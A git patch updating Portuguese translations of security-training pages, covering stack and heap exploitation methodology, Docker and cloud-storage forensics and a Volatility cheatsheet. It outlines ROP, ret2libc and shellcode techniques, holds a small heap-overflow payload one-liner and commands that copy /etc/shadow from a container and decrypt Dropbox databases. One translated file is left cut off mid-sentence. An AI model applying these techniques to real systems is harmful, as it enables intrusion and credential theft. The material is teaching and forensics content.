From 62b867b86515202a3aa576e3ed5781c6ccea9c42 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Jan 2025 02:34:34 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- .../README.md | 81 +--- .../libc-heap/heap-overflow.md | 22 +- .../docker-forensics.md | 7 +- .../local-cloud-storage.md | 9 +- .../docker-forensics.md | 6 +- .../volatility-cheatsheet.md | 24 +- .../local-cloud-storage.md | 15 +- .../external-recon-methodology/README.md | 74 +-- .../pentesting-methodology.md | 30 +- .../pentesting-network/README.md | 80 ++-- .../pentesting-wifi/README.md | 64 +-- .../phishing-methodology/README.md | 48 +- .../python/README.md | 2 +- .../python/bypass-python-sandboxes/README.md | 46 +- .../python/python-internal-read-gadgets.md | 6 +- .../linux-privilege-escalation-checklist.md | 100 ++--- .../privilege-escalation/README.md | 110 ++--- ...-docker-socket-for-privilege-escalation.md | 2 +- ...uthn-docker-access-authorization-plugin.md | 30 +- .../interesting-groups-linux-pe/README.md | 14 +- .../linux-capabilities.md | 90 ++-- .../macos-auto-start-locations.md | 122 ++--- ...nrolling-devices-in-other-organisations.md | 8 +- .../README.md | 8 +- .../macos-function-hooking.md | 12 +- .../mac-os-architecture/macos-iokit.md | 16 +- .../macos-sensitive-locations.md | 22 +- .../macos-privilege-escalation.md | 4 +- .../macos-function-hooking.md | 10 +- .../macos-mig-mach-interface-generator.md | 12 +- .../macos-library-injection/README.md | 32 +- .../macos-tcc/macos-tcc-bypasses/README.md | 46 +- .../android-app-pentesting/README.md | 126 +++--- .../android-applications-basics.md | 59 ++- .../drozer-tutorial/README.md | 14 +- .../google-ctf-2018-shall-we-play-a-game.md | 6 +- src/mobile-pentesting/android-checklist.md | 78 ++-- .../ios-pentesting-checklist.md | 72 +-- .../1883-pentesting-mqtt-mosquitto.md | 10 +- .../2375-pentesting-docker.md | 24 +- .../5601-pentesting-kibana.md | 10 +- .../pentesting-smb/README.md | 42 +- .../pentesting-ssh.md | 18 +- .../pentesting-voip/README.md | 75 ++-- .../pentesting-web/bolt-cms.md | 4 +- .../pentesting-web/flask.md | 6 +- .../pentesting-web/joomla.md | 10 +- .../pentesting-web/php-tricks-esp/README.md | 48 +- ...isable_functions-bypass-php-fpm-fastcgi.md | 16 +- .../pentesting-web/tomcat/README.md | 16 +- .../README.md | 92 ++-- src/pentesting-web/cache-deception/README.md | 38 +- .../csrf-cross-site-request-forgery.md | 28 +- .../README.md | 32 +- src/pentesting-web/file-inclusion/README.md | 74 +-- src/pentesting-web/file-upload/README.md | 68 +-- .../hacking-with-cookies/README.md | 36 +- .../http-request-smuggling/README.md | 54 +-- src/pentesting-web/login-bypass/README.md | 24 +- .../postmessage-vulnerabilities/README.md | 28 +- .../bypassing-sop-with-iframes-2.md | 6 +- .../registration-vulnerabilities.md | 10 +- src/pentesting-web/sql-injection/README.md | 64 +-- .../README.md | 38 +- .../jinja2-ssti.md | 12 +- .../web-vulnerabilities-methodology.md | 18 +- .../web-vulnerabilities-methodology/README.md | 12 +- src/pentesting-web/websocket-attacks.md | 20 +- src/pentesting-web/xs-search/README.md | 424 +++++++++--------- .../xs-search/css-injection/README.md | 42 +- .../xss-cross-site-scripting/README.md | 94 ++-- .../some-same-origin-method-execution.md | 2 +- .../xss-in-markdown.md | 8 +- .../xxe-xee-xml-external-entity.md | 18 +- .../reversing-tools-basic-methods/README.md | 64 +-- .../active-directory-methodology/README.md | 64 +-- .../custom-ssp.md | 4 +- .../printers-spooler-service-abuse.md | 10 +- .../unconstrained-delegation.md | 22 +- src/windows-hardening/av-bypass.md | 52 +-- .../basic-cmd-for-pentesters.md | 4 +- .../basic-powershell-for-pentesters/README.md | 14 +- .../powerview.md | 6 +- .../checklist-windows-privilege-escalation.md | 138 +++--- src/windows-hardening/ntlm/README.md | 24 +- .../stealing-credentials/README.md | 24 +- .../README.md | 102 +++-- .../access-tokens.md | 10 +- .../create-msi-with-wix.md | 4 +- .../dll-hijacking.md | 62 +-- .../dll-hijacking/README.md | 58 +-- ...ritable-sys-path-+dll-hijacking-privesc.md | 8 +- 92 files changed, 1807 insertions(+), 1891 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 6dbad6910..c499d7057 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -29,83 +29,4 @@ Existem diferentes maneiras de você acabar controlando o fluxo de um programa: - Ou via **Arbitrary Writes + Write What Where to Execution**. - [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários. - [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária. -- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow. -- **bof to WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW. - -Você pode encontrar as técnicas de **Write What Where to Execution** em: - -{{#ref}} -../arbitrary-write-2-exec/ -{{#endref}} - -## Laços Eternos - -Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário: - -- Escrever em uma **cadeia ROP** o endereço da **função `main`** ou o endereço onde a **vulnerabilidade** está ocorrendo. -- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia. -- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para **voltar à vulnerabilidade**. -- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`. - -## Objetivos de Exploração - -### Objetivo: Chamar uma Função Existente - -- [**ret2win**](./#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag. -- Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha. -- Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo. -- Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo. -- Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar: -- Uma [**cadeia ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso você possa chamar essa syscall) para controlar muitos registradores. -- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. -- Via um [**Write What Where**](../arbitrary-write-2-exec/) você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. - -### Objetivo: RCE - -#### Via shellcode, se nx desativado ou misturando shellcode com ROP: - -- [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo: -- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (vazar). -- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará. -- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele. -- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá. -- Isso misturará shellcode com uma cadeia ROP. - -#### Via syscalls - -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**. -- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**. -- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. - -#### Via libc - -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente). -- Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. -- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. -- Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso). -- Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), sabendo a libc e **sem o binário usar a função `system`**: -- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo. -- **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcule o endereço de `system` e `'/bin/sh'` na memória. -- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e não sabendo a libc**: Você precisa: -- Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/). -- Encontrar a **versão da `libc`** usada (vazar alguns endereços de função). -- Verificar os **cenários anteriores com ASLR** para continuar. - -#### Via EBP/RBP - -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar o RET através do EBP armazenado na pilha. -- Útil para **off-by-one** stack overflows. -- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e então pulando para ele via EBP. - -#### Diversos - -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. - -{{#include ../../banners/hacktricks-training.md}} +- Pode ser necessário abusar de diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 55f2c9c0b..687b90162 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -6,43 +6,43 @@ Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.** -Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no bloco de heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso. +Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso. > [!TIP] -> Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets). ### Stack Overflows vs Heap Overflows Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e possui uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função. -No entanto, no caso de um heap overflow, a memória usada não é linear, mas **os blocos alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **a memória previamente liberada é usada** antes de alocar novos blocos. É **complicado saber qual objeto estará colidindo com aquele vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado. +No entanto, no caso de um heap overflow, a memória usada não é linear, mas **chunks alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **memória previamente liberada é usada** antes de alocar novos chunks. É **complicado saber qual objeto estará colidindo com aquele vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado. -Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar blocos de memória, ela se expande por uma página do kernel, e essa página é dividida em blocos dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses blocos são usados de maneira aleatória para dificultar a exploração desses ataques). +Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar chunks de memória, ela a expande por uma página do kernel, e essa página é dividida em chunks dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses chunks são usados de maneira aleatória para dificultar a exploração desses ataques). -Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os blocos livres sejam preenchidos e que uma nova página seja criada**. +Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**. Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`. -Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima. +Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que, se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima. ### Exemplo libc -[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo bloco e a posição do tamanho prev é possível **consolidar um bloco usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também. +[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit de uso anterior do próximo chunk e a posição do tamanho anterior é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, podendo sobrescrever dados que estão sendo usados em um ponteiro diferente também. -Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**. +Outro exemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**. -No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um bloco próximo um endereço** onde **dados arbitrários do usuário** serão escritos. +No exemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos. ### Exemplo ARM64 -Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte bloco do bloco transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como: +Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no chunk seguinte do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` ### Outros exemplos - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) -- Usamos uma vulnerabilidade de Overflow de Inteiro para obter um Heap Overflow. +- Usamos uma vulnerabilidade de Integer Overflow para obter um Heap Overflow. - Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 97485e7aa..a1476ee49 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -25,8 +25,8 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` -No comando anterior, **C** significa **Alterado** e **A** significa **Adicionado**.\ -Se você descobrir que algum arquivo interessante, como `/etc/shadow`, foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com: +No comando anterior, **C** significa **Mudado** e **A** significa **Adicionado**.\ +Se você descobrir que um arquivo interessante como `/etc/shadow` foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com: ```bash docker cp wordpress:/etc/shadow. ``` @@ -91,6 +91,7 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don Note que quando você executa um contêiner docker dentro de um host **você pode ver os processos em execução no contêiner a partir do host** apenas executando `ps -ef` -Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/#process-memory). +Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/index.html#process-memory). + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f816c0285..9c1a1ee59 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,7 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - ## OneDrive No Windows, você pode encontrar a pasta do OneDrive em `\Users\\AppData\Local\Microsoft\OneDrive`. E dentro de `logs\Personal` é possível encontrar o arquivo `SyncDiagnostics.log` que contém alguns dados interessantes sobre os arquivos sincronizados: @@ -65,9 +64,9 @@ Então você pode usar a ferramenta [**DataProtectionDecryptor**](https://nirsof ![](<../../../images/image (448).png>) -Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita. +Se tudo correr como esperado, a ferramenta indicará a **chave primária** que você precisa **usar para recuperar a original**. Para recuperar a original, basta usar esta [receita do cyber_chef]() colocando a chave primária como a "senha" dentro da receita. -O hex resultante é a chave final usada para criptografar os bancos de dados que podem ser descriptografados com: +O hex resultante é a chave final usada para criptografar os bancos de dados que pode ser descriptografada com: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -76,10 +75,10 @@ O **`config.dbx`** banco de dados contém: - **Email**: O email do usuário - **usernamedisplayname**: O nome do usuário - **dropbox_path**: Caminho onde a pasta do dropbox está localizada -- **Host_id: Hash** usado para autenticar no cloud. Isso só pode ser revogado pela web. +- **Host_id: Hash** usado para autenticar na nuvem. Isso só pode ser revogado pela web. - **Root_ns**: Identificador do usuário -O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com Dropbox. A tabela `File_journal` é a que contém mais informações úteis: +O **`filecache.db`** banco de dados contém informações sobre todos os arquivos e pastas sincronizados com o Dropbox. A tabela `File_journal` é a que contém mais informações úteis: - **Server_path**: Caminho onde o arquivo está localizado dentro do servidor (este caminho é precedido pelo `host_id` do cliente). - **local_sjid**: Versão do arquivo diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index 7efb9e4ea..c75c2c704 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -25,7 +25,7 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` -No comando anterior, **C** significa **Changed** e **A** significa **Added**.\ +No comando anterior, **C** significa **Mudado** e **A** significa **Adicionado**.\ Se você descobrir que algum arquivo interessante, como `/etc/shadow`, foi modificado, você pode baixá-lo do contêiner para verificar atividades maliciosas com: ```bash docker cp wordpress:/etc/shadow. @@ -79,7 +79,7 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` -Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **space** para colapsar/abrir pastas. +Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **espaço** para colapsar/abrir pastas. Com die você não poderá acessar o conteúdo dos diferentes estágios da imagem. Para fazer isso, você precisará **descomprimir cada camada e acessá-la**.\ Você pode descomprimir todas as camadas de uma imagem a partir do diretório onde a imagem foi descomprimida executando: @@ -91,7 +91,7 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don Note que quando você executa um contêiner docker dentro de um host **você pode ver os processos em execução no contêiner a partir do host** apenas executando `ps -ef` -Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/#process-memory). +Portanto (como root) você pode **extrair a memória dos processos** a partir do host e procurar por **credenciais** apenas [**como no seguinte exemplo**](../../linux-hardening/privilege-escalation/index.html#process-memory). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index 80e99fc8a..afdc5f563 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -58,7 +58,7 @@ O Volatility tem duas abordagens principais para plugins, que às vezes são ref Isso torna os plugins “list” bastante rápidos, mas tão vulneráveis quanto a API do Windows a manipulações por malware. Por exemplo, se um malware usar DKOM para desvincular um processo da lista encadeada `_EPROCESS`, ele não aparecerá no Gerenciador de Tarefas e nem no pslist. -Os plugins “scan”, por outro lado, adotarão uma abordagem semelhante à escultura da memória para coisas que podem fazer sentido quando desreferenciadas como estruturas específicas. O `psscan`, por exemplo, lerá a memória e tentará criar objetos `_EPROCESS` a partir dela (usa a varredura de pool-tag, que busca por strings de 4 bytes que indicam a presença de uma estrutura de interesse). A vantagem é que ele pode encontrar processos que já saíram, e mesmo que o malware interfira na lista encadeada `_EPROCESS`, o plugin ainda encontrará a estrutura presente na memória (já que ela ainda precisa existir para o processo ser executado). A desvantagem é que os plugins “scan” são um pouco mais lentos que os plugins “list” e podem, às vezes, gerar falsos positivos (um processo que saiu há muito tempo e teve partes de sua estrutura sobrescritas por outras operações). +Os plugins “scan”, por outro lado, adotarão uma abordagem semelhante à escultura da memória para coisas que podem fazer sentido quando desreferenciadas como estruturas específicas. O `psscan`, por exemplo, lerá a memória e tentará criar objetos `_EPROCESS` a partir dela (usa a varredura de pool-tag, que busca por strings de 4 bytes que indicam a presença de uma estrutura de interesse). A vantagem é que ele pode encontrar processos que já saíram, e mesmo que o malware interfira na lista encadeada `_EPROCESS`, o plugin ainda encontrará a estrutura presente na memória (já que ela ainda precisa existir para que o processo seja executado). A desvantagem é que os plugins “scan” são um pouco mais lentos que os plugins “list” e podem, às vezes, gerar falsos positivos (um processo que saiu há muito tempo e teve partes de sua estrutura sobrescritas por outras operações). De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) @@ -106,9 +106,9 @@ volatility kdbgscan -f file.dmp ``` #### **Diferenças entre imageinfo e kdbgscan** -[**Daqui**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Ao contrário do imageinfo, que simplesmente fornece sugestões de perfil, **kdbgscan** é projetado para identificar positivamente o perfil correto e o endereço KDBG correto (se houver múltiplos). Este plugin escaneia as assinaturas KDBGHeader vinculadas aos perfis do Volatility e aplica verificações de sanidade para reduzir falsos positivos. A verbosidade da saída e o número de verificações de sanidade que podem ser realizadas dependem de o Volatility conseguir encontrar um DTB, então, se você já conhece o perfil correto (ou se você tem uma sugestão de perfil do imageinfo), certifique-se de usá-lo. +[**A partir daqui**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Ao contrário do imageinfo, que simplesmente fornece sugestões de perfil, **kdbgscan** é projetado para identificar positivamente o perfil correto e o endereço KDBG correto (se houver múltiplos). Este plugin escaneia as assinaturas KDBGHeader vinculadas aos perfis do Volatility e aplica verificações de sanidade para reduzir falsos positivos. A verbosidade da saída e o número de verificações de sanidade que podem ser realizadas dependem de o Volatility conseguir encontrar um DTB, então, se você já conhece o perfil correto (ou se você tem uma sugestão de perfil do imageinfo), então certifique-se de usá-lo. -Sempre verifique o **número de processos que o kdbgscan encontrou**. Às vezes, imageinfo e kdbgscan podem encontrar **mais de um** **perfil** adequado, mas apenas o **válido terá algum processo relacionado** (Isso ocorre porque para extrair processos o endereço KDBG correto é necessário). +Sempre dê uma olhada no **número de processos que o kdbgscan encontrou**. Às vezes, imageinfo e kdbgscan podem encontrar **mais de um** **perfil** adequado, mas apenas o **válido terá algum processo relacionado** (Isso ocorre porque para extrair processos é necessário o endereço KDBG correto). ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -122,9 +122,9 